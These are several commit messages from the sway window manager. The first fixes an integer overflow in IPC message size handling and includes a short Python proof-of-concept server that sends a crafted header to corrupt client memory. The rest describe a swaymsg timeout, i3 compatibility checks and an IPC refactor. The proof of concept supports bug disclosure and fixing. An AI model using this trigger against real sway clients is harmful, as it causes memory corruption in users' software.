The size of IPC data is stored in an unsigned 32 bit data type within
the IPC message header. In order to terminate the received data with a
nul byte, one additional byte is allocated.
It is not checked if the transmitted size is 2^32 - 1. Adding one more
byte would overflow and lead to 0 byte allocation.
On 64 bit systems, the recv call with 2^32 - 1 does not fail instantly
but reads data from the server into unallocated memory.
Prevent override of unallocated memory by aborting communication.
Proof of Concept Python server (use 64 bit address sanitized client):
```
import os
import socket
os.remove('/tmp/sway-poc.socket')
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind('/tmp/sway-poc.socket')
server.listen(1)
print('waiting for client')
(client, address) = server.accept()
client.send(b'\x69\x33\x2D\x69\x70\x63\xFF\xFF\xFF\xFF\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF')
input('sent reply, press enter')
client.close()
```
This adds a 3 second timeout to the initial reply in swaymsg. This
prevents swaymsg from hanging when `swaymsg -t get_{inputs,seats}` is
used in i3. The timeout is removed when waiting for a subscribed event
or monitoring for subscribed events.
This also adds type checks to commands where i3 does not reply with all
of the properties that sway does (such as `modes` in `get_outputs`).
This is mostly just a behavioral adjustment since swaymsg should run on
i3. When running under i3, some command reply's (such as the one for
`get_outputs) may have more useful information in the raw json than the
pretty printed version.
Makes `ipc_recv_response` return a struct with size, type and payload
rather than just the payload string.
This is useful if the type has to be checked on the client.
